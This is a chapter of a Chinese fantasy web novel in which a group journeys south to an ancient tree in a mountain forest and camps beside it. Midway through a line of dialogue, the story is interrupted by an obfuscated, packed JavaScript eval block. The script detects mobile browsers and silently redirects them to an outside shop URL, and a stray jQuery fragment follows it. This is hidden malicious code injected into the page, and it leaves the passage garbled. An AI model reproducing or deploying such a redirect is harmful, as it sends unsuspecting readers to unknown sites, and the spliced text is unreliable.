出发那天的早晨和上次南城行差不多，但又有些不一样。
福利院门口堆着几个包，比上次多了几样东西。小榆的腐殖土袋被胡离用胶带缠了两圈防止漏土，小暖的移动暖光垫卷成一小卷塞在林小满的背包侧兜里，书书给每人准备了一瓶银杏叶泡的水，用保温杯装着，塞进各人的背包侧兜。陶陶背着小挎包站在门口第一个等着，包带被他反复检查了三遍，里面的饼干和水瓶被他摆得整整齐齐。小榆蹲在枣树底下和绿芽最后碰了一次根须，碰得比平时久了一些，站起来的时候拍了拍手上的土，嫩绿色的发尾在晨风里晃了一下。林小满锁好院门，在“外出请留言”便签上又加了一行字：“这次去南边，几天就回。”胡离把车从巷口开过来，后备箱塞得满满当当，后座挤了四个人。小暖从白泽肩膀蹦到后座靠窗的位置蹲好，金色小眼睛看着南边的方向，暖光里那层淡金色的底晕在晨光里显得格外柔和。
高铁车厢里，窗外的景色从北方的灰褐色渐渐变成了南方的灰绿色。田埂上的草比北方绿得早，远处的丘陵轮廓也越来越密，偶尔掠过一片小小的竹林，竹叶在风里翻着银绿色的光。
小榆坐在靠窗的位置，从上车开始就一直贴着窗户往外看。他平时话最多，问这问那，但今天反常地安静。他的额头几乎贴着玻璃，眼睛一眨不眨地盯着窗外掠过的每一棵树、每一片林子。偶尔他伸出手指在窗户上轻轻画一下，像是在描摹外面某棵树的轮廓。陶陶坐在他旁边，一开始还叽叽喳喳地问“到了吗到了吗”，问了三次之后自己也趴在小桌板上睡着了，腮帮子被压得变了形。书书在翻银杏先生之前寄来的信，看一会儿就抬头看一眼窗外，像是在把信里的描述和眼前的景色对照。白泽坐在过道另一边看着窗外，鹿角上的金光在车窗玻璃上投下一小片模糊的倒影。
林小满从前座回头看了一眼小榆。她注意到他沉默了很久，这在平时几乎不可能。她轻声问：“怎么了？”
小榆转过头来。他的琥珀绿色眼睛很亮，亮得像是被什么东西从里面点着了。他说话的声音不大，但每个字都很清晰：“这里的树越来越多。我能感觉到。它们在说话。很远，但能听到。”
“说什么？”
小榆又把脸贴回窗户上，看了一会儿，然后说：“说山里有棵很老的。比我见过的所有都老。”
从南城高铁站转大巴往南走。大巴比高铁慢得多，走走停停，沿途上下客的人大多是本地山民，背着竹篓和编织袋。有位老大娘拎着一笼鸡上车，笼子放在过道里，鸡安静地蹲着，偶尔咕咕叫两声。陶陶醒了，盯着鸡笼看了好一会儿，被小暖用触须轻轻碰了一下手背，才把视线收回来。窗外的景色越来越绿，山开始多起来，路开始弯起来，从一个隧道穿到另一个隧道，出了隧道就是一片接一片的山谷和溪流。空气中有一股湿润的、混着泥土和草木的气息，从车窗缝隙里丝丝缕缕地渗进来。
小榆把车窗拉开了一条缝。风灌进来带着山里的凉意和湿润，他闭着眼睛吸了一口气，然后睁开眼睛说了一句：“这里的土是活的。”
陶陶凑过来也吸了一口气，打了个喷嚏：“我只闻到了牛的味。”
书书在笔记本上记了一笔：“南方的土是活的。陶陶闻到牛。”写完自己也笑了一下。
在榆溪县城包了一辆当地老乡的面包车。司机是个五十来岁的大叔，皮肤晒得黝黑，车里头挂着一串褪色的平安符和一个塑料小葫芦。他听胡离说要去那片老林子的时候看了他们一眼，问了一句：“你们去那片老林子干什么？”
胡离说：“看树。”
大叔没多问，发动了车。面包车在山路上颠了一个多小时，水泥路变成了土路，土路变成了碎石路，颠得后座的人时不时撞上车顶。路过一个村子的时候大叔放慢了车速，指了指路边一棵歪脖子柿子树说“这是我们村的，比我岁数都大”。又开了一段，路越来越窄，最后停在一片稍微宽一点的土坡上。大叔指了指前面一条被枯叶和碎石覆盖的小径：“走进去大概半个钟头。天快黑了，你们真要进去？”
林小满点了点头。大叔没多劝，掉头走了。车轮碾过碎石的声音越来越远，很快就听不见了。四周安静下来，只剩下风穿过林子的声音和远处溪流的隐约水声。
全员下车步行进山。小径越走越窄，两边的树越来越密，高大的乔木和低矮的灌木交织在一起，头顶的枝叶把天空遮得严严实实，光线暗下来，像提前进入了黄昏。空气里飘着腐叶和湿土的气息，偶尔有一股极淡的花香从某处飘过来又散了。小榆走在最前面。他不用看路，脚步很稳，偶尔停下来把手贴在某棵路过的树干上，闭一下眼，然后继续走。他的手指尖上的树皮纹路一直亮着微光，在昏暗的林间像一盏小小的指路灯。小暖蹲在白泽肩膀上，暖光在这一片深绿色的暗光里显得格外柔和，像一小团移动的月白色灯笼。陶陶被胡离牵着走在中间，脚下踩着厚厚的落叶发出嚓嚓的声响，偶尔低头捡起一片特别大的叶子端详一下又扔掉。书书走在最后面，背包侧兜里插着一瓶银杏叶水，走一段就拿出来抿一口。白泽走在队伍中间偏后的位置，手插在口袋里，掌心里那两枚扣子被他攥着，像是在握住什么需要确认的东西。
小径在一片开阔的溪边空地前断了。
空地中央立着一棵树。比城北那棵老榆树还要大出一圈，树干粗到需要五六个人才能合抱。树皮深褐色，表面的裂纹深如沟壑，每一道沟壑里都长满了暗绿色的苔藓和细小的蕨类，远看像是披了一件绿色斑驳的旧袍子。树冠巨大，枝丫向四面八方伸展，覆盖了整片溪边空地，把溪流上方也遮了大半。有一条粗壮的侧枝从主干分出来之后朝斜下方伸去，几乎贴着地面，枝上长满了厚厚的苔藓和几丛蕨类。天色已经暗了，光线从树冠的缝隙间漏下来，在地面上投出一块一块的暗影。但树冠底下的空间有一种温润的、被什么东西从内部暖着的气息，像走进了一间生着炉火的老屋。小榆走到树干前面，把双手贴了上去。他闭着眼睛站了很久。久到陶陶在旁边蹲下来用手撑着下巴等他，久到书书把背包放在了地上，久到胡离把手机手电筒打开照着地面。林小满站在几步之外没有出声，小暖从白泽肩膀上蹦下来，滚到树根旁边，暖光贴着树皮表面的苔藓缓缓探了一圈，然后缩回来，安安静静地蹲在树根旁边。
小榆终于睁开了眼。他松开手退后一步。他的眼眶有一点红，但没有哭。
“它说等了很久了。”他的声音比平时轻，但每个字都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943835|214012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
很清楚，“它说姜先生留了东西在南边三尺。”他顿了一下，偏过头来看着白泽，“它还问……白泽是不是来了。”
四周安静了几秒。溪流的水声从空地一侧传过来，不急不缓的。夜风从树冠下方穿过，把树皮上的苔藓吹得微微颤动。白泽走上前去。他走得不快，靴子踩在落叶上发出沉闷的声响，在树干前面停住了。他抬起手，把手掌贴在树皮上。那些苔藓和蕨类簇拥着他的指缝，湿润而温凉，像是从树皮内部渗出来的。他闭着眼站了几秒。鹿角上的金光从掌心缓缓渗入树皮，沿着树干内部的纹路深入，在看不见的地方和什么东西碰了一下。白泽的眉头微微动了一下，然后松开。
他睁开眼，对着树干的方向，声音不高但很清楚：“来了。”
小暖从树根旁边滚回来，金色小眼睛弯了弯，嗡鸣声很稳：“……它在。和城北那棵一样。吸了很多年。但更旧。更沉。”
白泽把手从树皮上收回来，低头看了看掌心里残留的苔藓碎屑，然后把手插回口袋里。他转身看了一眼林小满，又看了一圈围在四周的人。陶陶蹲在地上仰着脸看他，书书把背包背回了肩上，胡离把手电筒的光调暗了一些，小榆站在树干旁边，手指尖的树皮纹路还没有完全消退。白泽说了一句：“明天开始。”
林小满点了点头，从背包里拿出那卷移动暖光垫铺在树根旁边的干燥地面上，又拿出干粮分给大家。胡离从包里掏出一盏折叠营地灯挂在一根低矮的树枝上，暖黄色的光散开来，照亮了空地的一小片范围。书书把水递给大家，陶陶接过去喝了一口，然后凑到小榆旁边问：“这棵树叫什么名字？”小榆把手贴在树干上感应了一下，然后说：“它没有名字。它说不用名字。它在这儿就好了。”
那天夜里全员在溪边空地上搭了简单的营地。陶陶吃了半块干粮就靠在胡离肩膀上睡着了。书书在营地灯下写今天的记录，写到最后一句的时候停了一会儿，然后把笔搁下，看着树上那片被灯光照亮的苔藓出神。小榆蹲在树干旁边，根须从指尖伸出去和树根底下的老根轻轻碰着，像是在陪它说话。小暖蹲在白泽肩膀上，暖光和营地灯的暖黄光混在一起，把树干的一部分照得温润发亮。白泽靠在树干上坐着，没有睡，一只手搭在膝盖上，另一只手插在口袋里攥着那两枚扣子。他的鹿角金光在夜色里温和地亮着，和树干内部某个深处的地方以一种看不见的方式连接着。
林小满坐在几步之外的石头上，看着这一切。她想起姜修行者手札里的那句话——“找到了。比预想的更大。根系更密。但老了，也需要人帮。”她抬头看了一眼那棵巨大的老树，在夜色里它的枝丫伸展着，像一个撑了很多年的伞盖，安静地守护着这片溪边空地。她从石头上站起来，走到白泽旁边蹲下来。白泽偏头看了她一眼。她没有说话，只是把手里那瓶没喝完的银杏叶水递给他。白泽接过去喝了一口，然后还给她。
“明天从南边三尺开始挖。”他说。
林小满点了点头，把水瓶收好，站起来去安排明天的分工。
夜风从林间穿过，树冠发出低沉的、绵长的沙沙声，像一棵很老的树在很深很深的夜里，对着身边这几个从北方赶来的人说了一句什么。听不清，但知道它在说。